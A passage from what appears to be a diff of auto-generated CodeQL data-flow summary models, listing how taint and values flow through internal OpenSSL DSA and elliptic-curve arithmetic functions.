"Argument[*0].Field[*params].Field[**seed]", "taint", "dfc-generated"] + - ["", "", True, "ossl_dsa_generate_ffc_parameters", "(DSA *,int,int,int,BN_GENCB *)", "", "Argument[3]", "Argument[*0].Field[*params].Field[*seedlen]", "taint", "dfc-generated"] + - ["", "", True, "ossl_dsa_generate_public_key", "(BN_CTX *,const DSA *,const BIGNUM *,BIGNUM *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_dsa_generate_public_key", "(BN_CTX *,const DSA *,const BIGNUM *,BIGNUM *)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_dsa_get0_params", "(DSA *)", "", "Argument[*0].Field[*params]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_dsa_key_fromdata", "(DSA *,const OSSL_PARAM[],int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_dsa_new", "(OSSL_LIB_CTX *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_dsa_new", "(OSSL_LIB_CTX *)", "", "Argument[*0]", "ReturnValue[*].Field[*ex_data].Field[**ctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_dsa_new", "(OSSL_LIB_CTX *)", "", "Argument[0]", "ReturnValue[*].Field[*ex_data].Field[*ctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_dsa_new", "(OSSL_LIB_CTX *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_dsa_set0_libctx", "(DSA *,OSSL_LIB_CTX *)", "", "Argument[*1]", "Argument[*0].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_dsa_set0_libctx", "(DSA *,OSSL_LIB_CTX *)", "", "Argument[1]", "Argument[*0].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_dsa_sign_int", "(int,const unsigned char *,int,unsigned char *,unsigned int *,DSA *,unsigned int,const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ec_GF2m_simple_field_div", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3].Field[*top]", "Argument[*1].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ec_GF2m_simple_field_div", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3].Field[*top]", "Argument[*1].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ec_GF2m_simple_field_mul", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3].Field[*top]", "Argument[*1].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ec_GF2m_simple_field_mul", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3].Field[*top]", "Argument[*1].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ec_GF2m_simple_field_sqr", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GF2m_simple_group_copy", "(EC_GROUP *,const EC_GROUP *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GF2m_simple_group_get_curve", "(const EC_GROUP *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GF2m_simple_group_get_curve", "(const EC_GROUP *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GF2m_simple_group_get_curve", "(const EC_GROUP *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GF2m_simple_group_get_degree", "(const EC_GROUP *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GF2m_simple_group_set_curve", "(EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GF2m_simple_group_set_curve", "(EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GF2m_simple_group_set_curve", "(EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GF2m_simple_oct2point", "(const EC_GROUP *,EC_POINT *,const unsigned char *,size_t,BN_CTX *)", "", "Argument[*0]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GF2m_simple_oct2point", "(const EC_GROUP *,EC_POINT *,const unsigned char *,size_t,BN_CTX *)", "", "Argument[*4]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GF2m_simple_point2oct", "(const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char *,size_t,BN_CTX *)", "", "Argument[2]", "Argument[*3]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_GF2m_simple_point2oct", "(const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char *,size_t,BN_CTX *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ec_GF2m_simple_point_copy", "(EC_POINT *,const EC_POINT *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GF2m_simple_point_get_affine_coordinates", "(const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GF2m_simple_point_get_affine_coordinates", "(const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GF2m_simple_point_set_affine_coordinates", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GF2m_simple_point_set_affine_coordinates", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_mont_field_encode", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_mont_field_inv", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_mont_field_inv", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_mont_field_inv", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_mont_field_inv", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_mont_field_inv", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_mont_field_inv", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_mont_field_mul", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_mont_field_mul", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_mont_field_mul", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_mont_field_mul", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_mont_field_set_to_one", "(const EC_GROUP *,BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_mont_field_sqr", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_mont_group_copy", "(EC_GROUP *,const EC_GROUP *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_mont_group_set_curve", "(EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3].Field[*neg]", "Argument[*0].Field[**b].Field[*neg]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_GFp_mont_group_set_curve", "(EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3].Field[*neg]", "Argument[*1].Field[*neg]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_GFp_nist_field_mul", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_nist_field_mul", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_nist_field_mul", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_nist_field_mul", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_nist_field_mul", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_nist_field_mul", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*4]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_nist_field_sqr", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_nist_field_sqr", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_nist_field_sqr", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_nist_group_copy", "(EC_GROUP *,const EC_GROUP *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_nist_group_set_curve", "(EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3].Field[*neg]", "Argument[*0].Field[**b].Field[*neg]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_GFp_nist_group_set_curve", "(EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3].Field[*neg]", "Argument[*1].Field[*neg]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_GFp_simple_add", "(const EC_GROUP *,EC_POINT *,const EC_POINT *,const EC_POINT *,BN_CTX *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_add", "(const EC_GROUP *,EC_POINT *,const EC_POINT *,const EC_POINT *,BN_CTX *)", "", "Argument[*0]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_add", "(const EC_GROUP *,EC_POINT *,const EC_POINT *,const EC_POINT *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_add", "(const EC_GROUP *,EC_POINT *,const EC_POINT *,const EC_POINT *,BN_CTX *)", "", "Argument[*3]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_add", "(const EC_GROUP *,EC_POINT *,const EC_POINT *,const EC_POINT *,BN_CTX *)", "", "Argument[*4]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_blind_coordinates", "(const EC_GROUP *,EC_POINT *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_cmp", "(const EC_GROUP *,const EC_POINT *,const EC_POINT *,BN_CTX *)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_dbl", "(const EC_GROUP *,EC_POINT *,const EC_POINT *,BN_CTX *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_dbl", "(const EC_GROUP *,EC_POINT *,const EC_POINT *,BN_CTX *)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_dbl", "(const EC_GROUP *,EC_POINT *,const EC_POINT *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_dbl", "(const EC_GROUP *,EC_POINT *,const EC_POINT *,BN_CTX *)", "", "Argument[*3]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_dbl", "(const EC_GROUP *,EC_POINT *,const EC_POINT *,BN_CTX *)", "", "Argument[*3]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_field_inv", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_field_inv", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_field_inv", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_field_inv", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_field_inv", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_field_mul", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_field_mul", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_field_mul", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_field_mul", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_field_sqr", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_field_sqr", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_field_sqr", "(const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_get_Jprojective_coordinates_GFp", "(const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*5]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_get_Jprojective_coordinates_GFp", "(const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_get_Jprojective_coordinates_GFp", "(const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_get_Jprojective_coordinates_GFp", "(const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_group_check_discriminant", "(const EC_GROUP *,BN_CTX *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_group_copy", "(EC_GROUP *,const EC_GROUP *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_group_get_curve", "(const EC_GROUP *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_group_get_curve", "(const EC_GROUP *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_group_get_curve", "(const EC_GROUP *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_group_get_curve", "(const EC_GROUP *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_group_get_degree", "(const EC_GROUP *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_group_set_curve", "(EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3].Field[*neg]", "Argument[*0].Field[**b].Field[*neg]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_GFp_simple_group_set_curve", "(EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3].Field[*neg]", "Argument[*1].Field[*neg]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_GFp_simple_invert", "(const EC_GROUP *,EC_POINT *,BN_CTX *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_is_on_curve", "(const EC_GROUP *,const EC_POINT *,BN_CTX *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_ladder_post", "(const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_ladder_post", "(const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_ladder_post", "(const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *)", "", "Argument[*4]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_ladder_post", "(const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *)", "", "Argument[*4]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_ladder_pre", "(const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_ladder_pre", "(const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_ladder_pre", "(const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_ladder_pre", "(const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *)", "", "Argument[*1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_ladder_pre", "(const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_ladder_pre", "(const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_ladder_step", "(const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_ladder_step", "(const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_ladder_step", "(const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_ladder_step", "(const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_ladder_step", "(const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_ladder_step", "(const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *)", "", "Argument[*4]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_ladder_step", "(const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *)", "", "Argument[*4]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_ladder_step", "(const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *)", "", "Argument[*4]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_make_affine", "(const EC_GROUP *,EC_POINT *,BN_CTX *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_oct2point", "(const EC_GROUP *,EC_POINT *,const unsigned char *,size_t,BN_CTX *)", "", "Argument[*0]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_oct2point", "(const EC_GROUP *,EC_POINT *,const unsigned char *,size_t,BN_CTX *)", "", "Argument[*4]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_point2oct", "(const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char *,size_t,BN_CTX *)", "", "Argument[2]", "Argument[*3]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_GFp_simple_point2oct", "(const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char *,size_t,BN_CTX *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ec_GFp_simple_point_copy", "(EC_POINT *,const EC_POINT *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_point_get_affine_coordinates", "(const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_point_get_affine_coordinates", "(const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_point_get_affine_coordinates", "(const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_point_get_affine_coordinates", "(const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BN_CTX *)", "", "Argument[*4]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_point_set_affine_coordinates", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_point_set_affine_coordinates", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_point_set_affine_coordinates", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_point_set_affine_coordinates", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_point_set_affine_coordinates", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_point_set_affine_coordinates", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_point_set_affine_coordinates", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_points_make_affine", "(const EC_GROUP *,size_t,EC_POINT *[],BN_CTX *)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_points_make_affine", "(const EC_GROUP *,size_t,EC_POINT *[],BN_CTX *)", "", "Argument[*2]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_set_Jprojective_coordinates_GFp", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*4].Field[*neg]", "Argument[*0].Field[**field].Field[*neg]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_GFp_simple_set_Jprojective_coordinates_GFp", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*4].Field[*neg]", "Argument[*1].Field[**Z].Field[*neg]", "value", "dfc-generated"] + - ["", "", True, "ossl_ec_GFp_simple_set_compressed_coordinates", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *)", "", "Argument[*0]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_set_compressed_coordinates", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_GFp_simple_set_compressed_coordinates", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *)", "", "Argument[*4]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_ec_group_do_inverse_ord", "(const EC_GROUP 